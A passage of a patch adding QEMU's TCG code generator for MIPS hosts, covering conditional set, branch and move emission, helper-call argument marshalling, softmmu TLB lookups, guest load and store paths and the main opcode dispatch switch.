OPC_SLTU, ret, TCG_REG_ZERO, arg1); + break; + + case TCG_COND_LT: + case TCG_COND_GE: + case TCG_COND_LE: + case TCG_COND_GT: + s_opc = OPC_SLT; + /* FALLTHRU */ + + case TCG_COND_LTU: + case TCG_COND_GEU: + case TCG_COND_LEU: + case TCG_COND_GTU: + cmp_map = mips_cmp_map[cond]; + if (cmp_map & MIPS_CMP_SWAP) { + TCGReg t = arg1; + arg1 = arg2; + arg2 = t; + } + tcg_out_opc_reg(s, s_opc, ret, arg1, arg2); + if (cmp_map & MIPS_CMP_INV) { + tcg_out_opc_imm(s, OPC_XORI, ret, ret, 1); + } + break; + + default: + tcg_abort(); + break; + } +} + +static void tcg_out_brcond(TCGContext *s, TCGCond cond, TCGReg arg1, + TCGReg arg2, int label_index) +{ + static const MIPSInsn b_zero[16] = { + [TCG_COND_LT] = OPC_BLTZ, + [TCG_COND_GT] = OPC_BGTZ, + [TCG_COND_LE] = OPC_BLEZ, + [TCG_COND_GE] = OPC_BGEZ, + }; + + TCGLabel *l; + MIPSInsn s_opc = OPC_SLTU; + MIPSInsn b_opc; + int cmp_map; + + switch (cond) { + case TCG_COND_EQ: + b_opc = OPC_BEQ; + break; + case TCG_COND_NE: + b_opc = OPC_BNE; + break; + + case TCG_COND_LT: + case TCG_COND_GT: + case TCG_COND_LE: + case TCG_COND_GE: + if (arg2 == 0) { + b_opc = b_zero[cond]; + arg2 = arg1; + arg1 = 0; + break; + } + s_opc = OPC_SLT; + /* FALLTHRU */ + + case TCG_COND_LTU: + case TCG_COND_GTU: + case TCG_COND_LEU: + case TCG_COND_GEU: + cmp_map = mips_cmp_map[cond]; + if (cmp_map & MIPS_CMP_SWAP) { + TCGReg t = arg1; + arg1 = arg2; + arg2 = t; + } + tcg_out_opc_reg(s, s_opc, TCG_TMP0, arg1, arg2); + b_opc = (cmp_map & MIPS_CMP_INV ? OPC_BEQ : OPC_BNE); + arg1 = TCG_TMP0; + arg2 = TCG_REG_ZERO; + break; + + default: + tcg_abort(); + break; + } + + tcg_out_opc_br(s, b_opc, arg1, arg2); + l = &s->labels[label_index]; + if (l->has_value) { + reloc_pc16(s->code_ptr - 1, l->u.value_ptr); + } else { + tcg_out_reloc(s, s->code_ptr - 1, R_MIPS_PC16, label_index, 0); + } + tcg_out_nop(s); +} + +static TCGReg tcg_out_reduce_eq2(TCGContext *s, TCGReg tmp0, TCGReg tmp1, + TCGReg al, TCGReg ah, + TCGReg bl, TCGReg bh) +{ + /* Merge highpart comparison into AH. */ + if (bh != 0) { + if (ah != 0) { + tcg_out_opc_reg(s, OPC_XOR, tmp0, ah, bh); + ah = tmp0; + } else { + ah = bh; + } + } + /* Merge lowpart comparison into AL. */ + if (bl != 0) { + if (al != 0) { + tcg_out_opc_reg(s, OPC_XOR, tmp1, al, bl); + al = tmp1; + } else { + al = bl; + } + } + /* Merge high and low part comparisons into AL. */ + if (ah != 0) { + if (al != 0) { + tcg_out_opc_reg(s, OPC_OR, tmp0, ah, al); + al = tmp0; + } else { + al = ah; + } + } + return al; +} + +static void tcg_out_setcond2(TCGContext *s, TCGCond cond, TCGReg ret, + TCGReg al, TCGReg ah, TCGReg bl, TCGReg bh) +{ + TCGReg tmp0 = TCG_TMP0; + TCGReg tmp1 = ret; + + assert(ret != TCG_TMP0); + if (ret == ah || ret == bh) { + assert(ret != TCG_TMP1); + tmp1 = TCG_TMP1; + } + + switch (cond) { + case TCG_COND_EQ: + case TCG_COND_NE: + tmp1 = tcg_out_reduce_eq2(s, tmp0, tmp1, al, ah, bl, bh); + tcg_out_setcond(s, cond, ret, tmp1, TCG_REG_ZERO); + break; + + default: + tcg_out_setcond(s, TCG_COND_EQ, tmp0, ah, bh); + tcg_out_setcond(s, tcg_unsigned_cond(cond), tmp1, al, bl); + tcg_out_opc_reg(s, OPC_AND, tmp1, tmp1, tmp0); + tcg_out_setcond(s, tcg_high_cond(cond), tmp0, ah, bh); + tcg_out_opc_reg(s, OPC_OR, ret, tmp1, tmp0); + break; + } +} + +static void tcg_out_brcond2(TCGContext *s, TCGCond cond, TCGReg al, TCGReg ah, + TCGReg bl, TCGReg bh, int label_index) +{ + TCGCond b_cond = TCG_COND_NE; + TCGReg tmp = TCG_TMP1; + + /* With branches, we emit between 4 and 9 insns with 2 or 3 branches. + With setcond, we emit between 3 and 10 insns and only 1 branch, + which ought to get better branch prediction. */ + switch (cond) { + case TCG_COND_EQ: + case TCG_COND_NE: + b_cond = cond; + tmp = tcg_out_reduce_eq2(s, TCG_TMP0, TCG_TMP1, al, ah, bl, bh); + break; + + default: + /* Minimize code size by preferring a compare not requiring INV. */ + if (mips_cmp_map[cond] & MIPS_CMP_INV) { + cond = tcg_invert_cond(cond); + b_cond = TCG_COND_EQ; + } + tcg_out_setcond2(s, cond, tmp, al, ah, bl, bh); + break; + } + + tcg_out_brcond(s, b_cond, tmp, TCG_REG_ZERO, label_index); +} + +static void tcg_out_movcond(TCGContext *s, TCGCond cond, TCGReg ret, + TCGReg c1, TCGReg c2, TCGReg v) +{ + MIPSInsn m_opc = OPC_MOVN; + + switch (cond) { + case TCG_COND_EQ: + m_opc = OPC_MOVZ; + /* FALLTHRU */ + case TCG_COND_NE: + if (c2 != 0) { + tcg_out_opc_reg(s, OPC_XOR, TCG_TMP0, c1, c2); + c1 = TCG_TMP0; + } + break; + + default: + /* Minimize code size by preferring a compare not requiring INV. */ + if (mips_cmp_map[cond] & MIPS_CMP_INV) { + cond = tcg_invert_cond(cond); + m_opc = OPC_MOVZ; + } + tcg_out_setcond(s, cond, TCG_TMP0, c1, c2); + c1 = TCG_TMP0; + break; + } + + tcg_out_opc_reg(s, m_opc, ret, v, c1); +} + +static void tcg_out_call_int(TCGContext *s, tcg_insn_unit *arg, bool tail) +{ + /* Note that the ABI requires the called function's address to be + loaded into T9, even if a direct branch is in range. */ + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_T9, (uintptr_t)arg); + + /* But do try a direct branch, allowing the cpu better insn prefetch. */ + if (tail) { + if (!tcg_out_opc_jmp(s, OPC_J, arg)) { + tcg_out_opc_reg(s, OPC_JR, 0, TCG_REG_T9, 0); + } + } else { + if (!tcg_out_opc_jmp(s, OPC_JAL, arg)) { + tcg_out_opc_reg(s, OPC_JALR, TCG_REG_RA, TCG_REG_T9, 0); + } + } +} + +static void tcg_out_call(TCGContext *s, tcg_insn_unit *arg) +{ + tcg_out_call_int(s, arg, false); + tcg_out_nop(s); +} + +#if defined(CONFIG_SOFTMMU) +static void * const qemu_ld_helpers[16] = { + [MO_UB] = helper_ret_ldub_mmu, + [MO_SB] = helper_ret_ldsb_mmu, + [MO_LEUW] = helper_le_lduw_mmu, + [MO_LESW] = helper_le_ldsw_mmu, + [MO_LEUL] = helper_le_ldul_mmu, + [MO_LEQ] = helper_le_ldq_mmu, + [MO_BEUW] = helper_be_lduw_mmu, + [MO_BESW] = helper_be_ldsw_mmu, + [MO_BEUL] = helper_be_ldul_mmu, + [MO_BEQ] = helper_be_ldq_mmu, +}; + +static void * const qemu_st_helpers[16] = { + [MO_UB] = helper_ret_stb_mmu, + [MO_LEUW] = helper_le_stw_mmu, + [MO_LEUL] = helper_le_stl_mmu, + [MO_LEQ] = helper_le_stq_mmu, + [MO_BEUW] = helper_be_stw_mmu, + [MO_BEUL] = helper_be_stl_mmu, + [MO_BEQ] = helper_be_stq_mmu, +}; + +/* Helper routines for marshalling helper function arguments into + * the correct registers and stack. + * I is where we want to put this argument, and is updated and returned + * for the next call. ARG is the argument itself. + * + * We provide routines for arguments which are: immediate, 32 bit + * value in register, 16 and 8 bit values in register (which must be zero + * extended before use) and 64 bit value in a lo:hi register pair. + */ + +static int tcg_out_call_iarg_reg(TCGContext *s, int i, TCGReg arg) +{ + if (i < ARRAY_SIZE(tcg_target_call_iarg_regs)) { + tcg_out_mov(s, TCG_TYPE_REG, tcg_target_call_iarg_regs[i], arg); + } else { + tcg_out_st(s, TCG_TYPE_REG, arg, TCG_REG_SP, 4 * i); + } + return i + 1; +} + +static int tcg_out_call_iarg_reg8(TCGContext *s, int i, TCGReg arg) +{ + TCGReg tmp = TCG_TMP0; + if (i < ARRAY_SIZE(tcg_target_call_iarg_regs)) { + tmp = tcg_target_call_iarg_regs[i]; + } + tcg_out_opc_imm(s, OPC_ANDI, tmp, arg, 0xff); + return tcg_out_call_iarg_reg(s, i, tmp); +} + +static int tcg_out_call_iarg_reg16(TCGContext *s, int i, TCGReg arg) +{ + TCGReg tmp = TCG_TMP0; + if (i < ARRAY_SIZE(tcg_target_call_iarg_regs)) { + tmp = tcg_target_call_iarg_regs[i]; + } + tcg_out_opc_imm(s, OPC_ANDI, tmp, arg, 0xffff); + return tcg_out_call_iarg_reg(s, i, tmp); +} + +static int tcg_out_call_iarg_imm(TCGContext *s, int i, TCGArg arg) +{ + TCGReg tmp = TCG_TMP0; + if (arg == 0) { + tmp = TCG_REG_ZERO; + } else { + if (i < ARRAY_SIZE(tcg_target_call_iarg_regs)) { + tmp = tcg_target_call_iarg_regs[i]; + } + tcg_out_movi(s, TCG_TYPE_REG, tmp, arg); + } + return tcg_out_call_iarg_reg(s, i, tmp); +} + +static int tcg_out_call_iarg_reg2(TCGContext *s, int i, TCGReg al, TCGReg ah) +{ + i = (i + 1) & ~1; + i = tcg_out_call_iarg_reg(s, i, (MIPS_BE ? ah : al)); + i = tcg_out_call_iarg_reg(s, i, (MIPS_BE ? al : ah)); + return i; +} + +/* Perform the tlb comparison operation. The complete host address is + placed in BASE. Clobbers AT, T0, A0. */ +static void tcg_out_tlb_load(TCGContext *s, TCGReg base, TCGReg addrl, + TCGReg addrh, int mem_index, TCGMemOp s_bits, + tcg_insn_unit *label_ptr[2], bool is_load) +{ + int cmp_off + = (is_load + ? offsetof(CPUArchState, tlb_table[mem_index][0].addr_read) + : offsetof(CPUArchState, tlb_table[mem_index][0].addr_write)); + int add_off = offsetof(CPUArchState, tlb_table[mem_index][0].addend); + + tcg_out_opc_sa(s, OPC_SRL, TCG_REG_A0, addrl, + TARGET_PAGE_BITS - CPU_TLB_ENTRY_BITS); + tcg_out_opc_imm(s, OPC_ANDI, TCG_REG_A0, TCG_REG_A0, + (CPU_TLB_SIZE - 1) << CPU_TLB_ENTRY_BITS); + tcg_out_opc_reg(s, OPC_ADDU, TCG_REG_A0, TCG_REG_A0, TCG_AREG0); + + /* Compensate for very large offsets. */ + if (add_off >= 0x8000) { + /* Most target env are smaller than 32k; none are larger than 64k. + Simplify the logic here merely to offset by 0x7ff0, giving us a + range just shy of 64k. Check this assumption. */ + QEMU_BUILD_BUG_ON(offsetof(CPUArchState, + tlb_table[NB_MMU_MODES - 1][1]) + > 0x7ff0 + 0x7fff); + tcg_out_opc_imm(s, OPC_ADDIU, TCG_REG_A0, TCG_REG_A0, 0x7ff0); + cmp_off -= 0x7ff0; + add_off -= 0x7ff0; + } + + /* Load the tlb comparator. */ + tcg_out_opc_imm(s, OPC_LW, TCG_TMP0, TCG_REG_A0, cmp_off + LO_OFF); + if (TARGET_LONG_BITS == 64) { + tcg_out_opc_imm(s, OPC_LW, base, TCG_REG_A0, cmp_off + HI_OFF); + } + + /* Mask the page bits, keeping the alignment bits to compare against. + In between, load the tlb addend for the fast path. */ + tcg_out_movi(s, TCG_TYPE_I32, TCG_TMP1, + TARGET_PAGE_MASK | ((1 << s_bits) - 1)); + tcg_out_opc_imm(s, OPC_LW, TCG_REG_A0, TCG_REG_A0, add_off); + tcg_out_opc_reg(s, OPC_AND, TCG_TMP1, TCG_TMP1, addrl); + + label_ptr[0] = s->code_ptr; + tcg_out_opc_br(s, OPC_BNE, TCG_TMP1, TCG_TMP0); + + if (TARGET_LONG_BITS == 64) { + /* delay slot */ + tcg_out_nop(s); + + label_ptr[1] = s->code_ptr; + tcg_out_opc_br(s, OPC_BNE, addrh, base); + } + + /* delay slot */ + tcg_out_opc_reg(s, OPC_ADDU, base, TCG_REG_A0, addrl); +} + +static void add_qemu_ldst_label(TCGContext *s, int is_ld, TCGMemOp opc, + TCGReg datalo, TCGReg datahi, + TCGReg addrlo, TCGReg addrhi, + int mem_index, void *raddr, + tcg_insn_unit *label_ptr[2]) +{ + TCGLabelQemuLdst *label = new_ldst_label(s); + + label->is_ld = is_ld; + label->opc = opc; + label->datalo_reg = datalo; + label->datahi_reg = datahi; + label->addrlo_reg = addrlo; + label->addrhi_reg = addrhi; + label->mem_index = mem_index; + label->raddr = raddr; + label->label_ptr[0] = label_ptr[0]; + if (TARGET_LONG_BITS == 64) { + label->label_ptr[1] = label_ptr[1]; + } +} + +static void tcg_out_qemu_ld_slow_path(TCGContext *s, TCGLabelQemuLdst *l) +{ + TCGMemOp opc = l->opc; + TCGReg v0; + int i; + + /* resolve label address */ + reloc_pc16(l->label_ptr[0], s->code_ptr); + if (TARGET_LONG_BITS == 64) { + reloc_pc16(l->label_ptr[1], s->code_ptr); + } + + i = 1; + if (TARGET_LONG_BITS == 64) { + i = tcg_out_call_iarg_reg2(s, i, l->addrlo_reg, l->addrhi_reg); + } else { + i = tcg_out_call_iarg_reg(s, i, l->addrlo_reg); + } + i = tcg_out_call_iarg_imm(s, i, l->mem_index); + i = tcg_out_call_iarg_imm(s, i, (intptr_t)l->raddr); + tcg_out_call_int(s, qemu_ld_helpers[opc], false); + /* delay slot */ + tcg_out_mov(s, TCG_TYPE_PTR, tcg_target_call_iarg_regs[0], TCG_AREG0); + + v0 = l->datalo_reg; + if ((opc & MO_SIZE) == MO_64) { + /* We eliminated V0 from the possible output registers, so it + cannot be clobbered here. So we must move V1 first. */ + if (MIPS_BE) { + tcg_out_mov(s, TCG_TYPE_I32, v0, TCG_REG_V1); + v0 = l->datahi_reg; + } else { + tcg_out_mov(s, TCG_TYPE_I32, l->datahi_reg, TCG_REG_V1); + } + } + + reloc_pc16(s->code_ptr, l->raddr); + tcg_out_opc_br(s, OPC_BEQ, TCG_REG_ZERO, TCG_REG_ZERO); + /* delay slot */ + tcg_out_mov(s, TCG_TYPE_REG, v0, TCG_REG_V0); +} + +static void tcg_out_qemu_st_slow_path(TCGContext *s, TCGLabelQemuLdst *l) +{ + TCGMemOp opc = l->opc; + TCGMemOp s_bits = opc & MO_SIZE; + int i; + + /* resolve label address */ + reloc_pc16(l->label_ptr[0], s->code_ptr); + if (TARGET_LONG_BITS == 64) { + reloc_pc16(l->label_ptr[1], s->code_ptr); + } + + i = 1; + if (TARGET_LONG_BITS == 64) { + i = tcg_out_call_iarg_reg2(s, i, l->addrlo_reg, l->addrhi_reg); + } else { + i = tcg_out_call_iarg_reg(s, i, l->addrlo_reg); + } + switch (s_bits) { + case MO_8: + i = tcg_out_call_iarg_reg8(s, i, l->datalo_reg); + break; + case MO_16: + i = tcg_out_call_iarg_reg16(s, i, l->datalo_reg); + break; + case MO_32: + i = tcg_out_call_iarg_reg(s, i, l->datalo_reg); + break; + case MO_64: + i = tcg_out_call_iarg_reg2(s, i, l->datalo_reg, l->datahi_reg); + break; + default: + tcg_abort(); + } + i = tcg_out_call_iarg_imm(s, i, l->mem_index); + + /* Tail call to the store helper. Thus force the return address + computation to take place in the return address register. */ + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_RA, (intptr_t)l->raddr); + i = tcg_out_call_iarg_reg(s, i, TCG_REG_RA); + tcg_out_call_int(s, qemu_st_helpers[opc], true); + /* delay slot */ + tcg_out_mov(s, TCG_TYPE_PTR, tcg_target_call_iarg_regs[0], TCG_AREG0); +} +#endif + +static void tcg_out_qemu_ld_direct(TCGContext *s, TCGReg datalo, TCGReg datahi, + TCGReg base, TCGMemOp opc) +{ + switch (opc) { + case MO_UB: + tcg_out_opc_imm(s, OPC_LBU, datalo, base, 0); + break; + case MO_SB: + tcg_out_opc_imm(s, OPC_LB, datalo, base, 0); + break; + case MO_UW | MO_BSWAP: + tcg_out_opc_imm(s, OPC_LHU, TCG_TMP1, base, 0); + tcg_out_bswap16(s, datalo, TCG_TMP1); + break; + case MO_UW: + tcg_out_opc_imm(s, OPC_LHU, datalo, base, 0); + break; + case MO_SW | MO_BSWAP: + tcg_out_opc_imm(s, OPC_LHU, TCG_TMP1, base, 0); + tcg_out_bswap16s(s, datalo, TCG_TMP1); + break; + case MO_SW: + tcg_out_opc_imm(s, OPC_LH, datalo, base, 0); + break; + case MO_UL | MO_BSWAP: + tcg_out_opc_imm(s, OPC_LW, TCG_TMP1, base, 0); + tcg_out_bswap32(s, datalo, TCG_TMP1); + break; + case MO_UL: + tcg_out_opc_imm(s, OPC_LW, datalo, base, 0); + break; + case MO_Q | MO_BSWAP: + tcg_out_opc_imm(s, OPC_LW, TCG_TMP1, base, HI_OFF); + tcg_out_bswap32(s, datalo, TCG_TMP1); + tcg_out_opc_imm(s, OPC_LW, TCG_TMP1, base, LO_OFF); + tcg_out_bswap32(s, datahi, TCG_TMP1); + break; + case MO_Q: + tcg_out_opc_imm(s, OPC_LW, datalo, base, LO_OFF); + tcg_out_opc_imm(s, OPC_LW, datahi, base, HI_OFF); + break; + default: + tcg_abort(); + } +} + +static void tcg_out_qemu_ld(TCGContext *s, const TCGArg *args, bool is_64) +{ + TCGReg addr_regl, addr_regh QEMU_UNUSED_VAR; + TCGReg data_regl, data_regh; + TCGMemOp opc; +#if defined(CONFIG_SOFTMMU) + tcg_insn_unit *label_ptr[2]; + int mem_index; + TCGMemOp s_bits; +#endif + /* Note that we've eliminated V0 from the output registers, + so we won't overwrite the base register during loading. */ + TCGReg base = TCG_REG_V0; + + data_regl = *args++; + data_regh = (is_64 ? *args++ : 0); + addr_regl = *args++; + addr_regh = (TARGET_LONG_BITS == 64 ? *args++ : 0); + opc = *args++; + +#if defined(CONFIG_SOFTMMU) + mem_index = *args; + s_bits = opc & MO_SIZE; + + tcg_out_tlb_load(s, base, addr_regl, addr_regh, mem_index, + s_bits, label_ptr, 1); + tcg_out_qemu_ld_direct(s, data_regl, data_regh, base, opc); + add_qemu_ldst_label(s, 1, opc, data_regl, data_regh, addr_regl, addr_regh, + mem_index, s->code_ptr, label_ptr); +#else + if (GUEST_BASE == 0 && data_regl != addr_regl) { + base = addr_regl; + } else if (GUEST_BASE == (int16_t)GUEST_BASE) { + tcg_out_opc_imm(s, OPC_ADDIU, base, addr_regl, GUEST_BASE); + } else { + tcg_out_movi(s, TCG_TYPE_PTR, base, GUEST_BASE); + tcg_out_opc_reg(s, OPC_ADDU, base, base, addr_regl); + } + tcg_out_qemu_ld_direct(s, data_regl, data_regh, base, opc); +#endif +} + +static void tcg_out_qemu_st_direct(TCGContext *s, TCGReg datalo, TCGReg datahi, + TCGReg base, TCGMemOp opc) +{ + switch (opc) { + case MO_8: + tcg_out_opc_imm(s, OPC_SB, datalo, base, 0); + break; + + case MO_16 | MO_BSWAP: + tcg_out_opc_imm(s, OPC_ANDI, TCG_TMP1, datalo, 0xffff); + tcg_out_bswap16(s, TCG_TMP1, TCG_TMP1); + datalo = TCG_TMP1; + /* FALLTHRU */ + case MO_16: + tcg_out_opc_imm(s, OPC_SH, datalo, base, 0); + break; + + case MO_32 | MO_BSWAP: + tcg_out_bswap32(s, TCG_TMP1, datalo); + datalo = TCG_TMP1; + /* FALLTHRU */ + case MO_32: + tcg_out_opc_imm(s, OPC_SW, datalo, base, 0); + break; + + case MO_64 | MO_BSWAP: + tcg_out_bswap32(s, TCG_TMP1, datalo); + tcg_out_opc_imm(s, OPC_SW, TCG_TMP1, base, HI_OFF); + tcg_out_bswap32(s, TCG_TMP1, datahi); + tcg_out_opc_imm(s, OPC_SW, TCG_TMP1, base, LO_OFF); + break; + case MO_64: + tcg_out_opc_imm(s, OPC_SW, datalo, base, LO_OFF); + tcg_out_opc_imm(s, OPC_SW, datahi, base, HI_OFF); + break; + + default: + tcg_abort(); + } +} + +static void tcg_out_addsub2(TCGContext *s, TCGReg rl, TCGReg rh, TCGReg al, + TCGReg ah, TCGArg bl, TCGArg bh, bool cbl, + bool cbh, bool is_sub) +{ + TCGReg th = TCG_TMP1; + + /* If we have a negative constant such that negating it would + make the high part zero, we can (usually) eliminate one insn. */ + if (cbl && cbh && bh == -1 && bl != 0) { + bl = -bl; + bh = 0; + is_sub = !is_sub; + } + + /* By operating on the high part first, we get to use the final + carry operation to move back from the temporary. */ + if (!cbh) { + tcg_out_opc_reg(s, (is_sub ? OPC_SUBU : OPC_ADDU), th, ah, bh); + } else if (bh != 0 || ah == rl) { + tcg_out_opc_imm(s, OPC_ADDIU, th, ah, (is_sub ? -bh : bh)); + } else { + th = ah; + } + + /* Note that tcg optimization should eliminate the bl == 0 case. */ + if (is_sub) { + if (cbl) { + tcg_out_opc_imm(s, OPC_SLTIU, TCG_TMP0, al, bl); + tcg_out_opc_imm(s, OPC_ADDIU, rl, al, -bl); + } else { + tcg_out_opc_reg(s, OPC_SLTU, TCG_TMP0, al, bl); + tcg_out_opc_reg(s, OPC_SUBU, rl, al, bl); + } + tcg_out_opc_reg(s, OPC_SUBU, rh, th, TCG_TMP0); + } else { + if (cbl) { + tcg_out_opc_imm(s, OPC_ADDIU, rl, al, bl); + tcg_out_opc_imm(s, OPC_SLTIU, TCG_TMP0, rl, bl); + } else { + tcg_out_opc_reg(s, OPC_ADDU, rl, al, bl); + tcg_out_opc_reg(s, OPC_SLTU, TCG_TMP0, rl, (rl == bl ? al : bl)); + } + tcg_out_opc_reg(s, OPC_ADDU, rh, th, TCG_TMP0); + } +} + +static void tcg_out_qemu_st(TCGContext *s, const TCGArg *args, bool is_64) +{ + TCGReg addr_regl, addr_regh QEMU_UNUSED_VAR; + TCGReg data_regl, data_regh, base; + TCGMemOp opc; +#if defined(CONFIG_SOFTMMU) + tcg_insn_unit *label_ptr[2]; + int mem_index; + TCGMemOp s_bits; +#endif + + data_regl = *args++; + data_regh = (is_64 ? *args++ : 0); + addr_regl = *args++; + addr_regh = (TARGET_LONG_BITS == 64 ? *args++ : 0); + opc = *args++; + +#if defined(CONFIG_SOFTMMU) + mem_index = *args; + s_bits = opc & 3; + + /* Note that we eliminated the helper's address argument, + so we can reuse that for the base. */ + base = (TARGET_LONG_BITS == 32 ? TCG_REG_A1 : TCG_REG_A2); + tcg_out_tlb_load(s, base, addr_regl, addr_regh, mem_index, + s_bits, label_ptr, 0); + tcg_out_qemu_st_direct(s, data_regl, data_regh, base, opc); + add_qemu_ldst_label(s, 0, opc, data_regl, data_regh, addr_regl, addr_regh, + mem_index, s->code_ptr, label_ptr); +#else + if (GUEST_BASE == 0) { + base = addr_regl; + } else { + base = TCG_REG_A0; + if (GUEST_BASE == (int16_t)GUEST_BASE) { + tcg_out_opc_imm(s, OPC_ADDIU, base, addr_regl, GUEST_BASE); + } else { + tcg_out_movi(s, TCG_TYPE_PTR, base, GUEST_BASE); + tcg_out_opc_reg(s, OPC_ADDU, base, base, addr_regl); + } + } + tcg_out_qemu_st_direct(s, data_regl, data_regh, base, opc); +#endif +} + +static inline void tcg_out_op(TCGContext *s, TCGOpcode opc, + const TCGArg *args, const int *const_args) +{ + MIPSInsn i1, i2; + TCGArg a0, a1, a2; + int c2; + + a0 = args[0]; + a1 = args[1]; + a2 = args[2]; + c2 = const_args[2]; + + switch (opc) { + case INDEX_op_exit_tb: + { + TCGReg b0 = TCG_REG_ZERO; + + if (a0 & ~0xffff) { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_V0, a0 & ~0xffff); + b0 = TCG_REG_V0; + } + if (!tcg_out_opc_jmp(s, OPC_J, tb_ret_addr)) { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_TMP0, + (uintptr_t)tb_ret_addr); + tcg_out_opc_reg(s, OPC_JR, 0, TCG_TMP0, 0); + } + tcg_out_opc_imm(s, OPC_ORI, TCG_REG_V0, b0, a0 & 0xffff); + } + break; + case INDEX_op_goto_tb: + if (s->tb_jmp_offset) { + /* direct jump method */ + s->tb_jmp_offset[a0] = tcg_current_code_size(s); + /* Avoid clobbering the address during retranslation. */ + tcg_out32(s, OPC_J | (*(uint32_t *)s->code_ptr & 0x3ffffff)); + } else { + /* indirect jump method */ + tcg_out_ld(s, TCG_TYPE_PTR, TCG_TMP0, TCG_REG_ZERO, + (uintptr_t)(s->tb_next + a0)); + tcg_out_opc_reg(s, OPC_JR, 0, TCG_TMP0, 0); + } + tcg_out_nop(s); + s->tb_next_offset[a0] = tcg_current_code_size(s); + break; + case INDEX_op_br: + tcg_out_brcond(s, TCG_COND_EQ, TCG_REG_ZERO, TCG_REG_ZERO, a0); + break; + + case INDEX_op_ld8u_i32: + i1 = OPC_LBU; + goto do_ldst; + case INDEX_op_ld8s_i32: + i1 = OPC_LB; + goto do_ldst; + case INDEX_op_ld16u_i32: + i1 = OPC_LHU; + goto do_ldst; + case INDEX_op_ld16s_i32: + i1 = OPC_LH; + goto do_ldst; + case INDEX_op_ld_i32: + i1 = OPC_LW; + goto do_ldst; + case INDEX_op_st8_i32: + i1 = OPC_SB; + goto do_ldst; + case INDEX_op_st16_i32: + i1 = OPC_SH; + goto do_ldst; + case INDEX_op_st_i32: + i1 = OPC_SW; + do_ldst: + tcg_out_ldst(s, i1, a0, a1, a2); + break; + + case INDEX_op_add_i32: + i1 = OPC_ADDU, i2 = OPC_ADDIU; + goto do_binary; + case INDEX_op_or_i32: + i1 = OPC_OR, i2 = OPC_ORI; + goto do_binary; + case INDEX_op_xor_i32: + i1 = OPC_XOR, i2 = OPC_XORI; + do_binary: + if (c2) { + tcg_out_opc_imm(s, i2, a0, a1, a2); + break; + } + do_binaryv: + tcg_out_opc_reg(s, i1, a0, a1, a2); + break; + + case INDEX_op_sub_i32: + if (c2) { + tcg_out_opc_imm(s, OPC_ADDIU, a0, a1, -a2); + break; + } + i1 = OPC_SUBU; + goto do_binary; + case INDEX_op_and_i32: + if (c2 && a2 != (uint16_t)a2) { + int msb = ctz32(~a2) - 1; + assert(use_mips32r2_instructions); + assert(is_p2m1(a2)); + tcg_out_opc_bf(s, OPC_EXT, a0, a1, msb, 0); + break; + } + i1 = OPC_AND, i2 = OPC_ANDI; + goto do_binary; + case INDEX_op_nor_i32: + i1 = OPC_NOR; + goto do_binaryv; + + case INDEX_op_mul_i32: + if (use_mips32_instructions) { + tcg_out_opc_reg(s, OPC_MUL, a0, a1, a2); + break; + } + i1 = OPC_MULT, i2 = OPC_MFLO; + goto do_hilo1; + case INDEX_op_mulsh_i32: + i1 = OPC_MULT, i2 = OPC_MFHI; + goto do_hilo1; + case INDEX_op_muluh_i32: + i1 = OPC_MULTU, i2 = OPC_MFHI; + goto do_hilo1; + case INDEX_op_div_i32: + i1 = OPC_DIV, i2 = OPC_MFLO; + goto do_hilo1; + case INDEX_op_divu_i32: + i1 = OPC_DIVU, i2 = OPC_MFLO; + goto do_hilo1; + case INDEX_op_rem_i32: + i1 = OPC_DIV, i2 = OPC_MFHI; + goto do_hilo1; + case INDEX_op_remu_i32: + i1 = OPC_DIVU, i2 = OPC_MFHI; + do_hilo1: + tcg_out_opc_reg(s, i1, 0, a1, a2); + tcg_out_opc_reg(s, i2, a0, 0, 0); + break; + + case INDEX_op_muls2_i32: + i1 = OPC_MULT; + goto do_hilo2; + case INDEX_op_mulu2_i32: + i1 = OPC_MULTU; + do_hilo2: + tcg_out_opc_reg(s, i1, 0, a2, args[3]); + tcg_out_opc_reg(s, OPC_MFLO, a0, 0, 0); + tcg_out_opc_reg(s, OPC_MFHI, a1, 0, 0); + break; + + case INDEX_op_not_i32: + i1 = OPC_NOR; + goto do_unary; + case INDEX_op_bswap16_i32: + i1 = OPC_WSBH; + goto do_unary; + case INDEX_op_ext8s_i32: + i1 = OPC_SEB; + goto do_unary; + case INDEX_op_ext16s_i32: + i1 = OPC_SEH; + do_unary: + tcg_out_opc_reg(s, i1, a0, TCG_REG_ZERO, a1); + break; + + case INDEX_op_sar_i32: + i1 = OPC_SRAV, i2 = OPC_SRA; + goto do_shift; + case INDEX_op_shl_i32: + i1 = OPC_SLLV, i2 = OPC_SLL; + goto do_shift; + case INDEX_op_shr_i32: + i1 = OPC_SRLV, i2 = OPC_SRL; + goto do_shift; + case INDEX_op_rotr_i32: + i1 = OPC_ROTRV, i2 = OPC_ROTR; + do_shift: + if (c2) { + tcg_out_opc_sa(s, i2, a0, a1, a2); + } else { + tcg_out_opc_reg(s, i1, a0, a2, a1); + } + break; + case INDEX_op_rotl_i32: + if (c2) { + tcg_out_opc_sa(s, OPC_ROTR, a0, a1, 32 - a2); + } else { + tcg_out_opc_reg(s, OPC_SUBU, TCG_TMP0, TCG_REG_ZERO, a2); + tcg_out_opc_reg(s, OPC_ROTRV, a0, TCG_TMP0, a1); + } + break; + + case INDEX_op_bswap32_i32: + tcg_out_opc_reg(s, OPC_WSBH, a0, 0, a1); + tcg_out_opc_sa(s, OPC_ROTR, a0, a0, 16); + break; + + case INDEX_op_deposit_i32: + tcg_out_opc_bf(s, OPC_INS, a0, a2, args[3] + args[4] - 1, args[3]); + break; + + case INDEX_op_brcond_i32: + tcg_out_brcond(s, a2, a0, a1, args[3]); + break; + case INDEX_op_brcond2_i32: + tcg_out_brcond2(s, args[4], a0, a1, a2, args[3], args[5]); + break; + + case INDEX_op_movcond_i32: + tcg_out_movcond(s, args[5], a0, a1, a2, args[3]); + break; + + case INDEX_op_setcond_i32: + tcg_out_setcond(s, args[3], a0, a1, a2); + break; + case INDEX_op_setcond2_i32: + tcg_out_setcond2(s, args[5], a0, a1, a2, args[3], args[4]); + break; + + case INDEX_op_qemu_ld_i32: + tcg_out_qemu_ld(s, args, false); + break; + case INDEX_op_qemu_ld_i64: + tcg_out_qemu_ld(s, args, true); + break; + case INDEX_op_qemu_st_i32: + tcg_out_qemu_st(s, args, false); + break; + case INDEX_op_qemu_st_i64: + tcg_out_qemu_st(s, args, true); + break; + + case 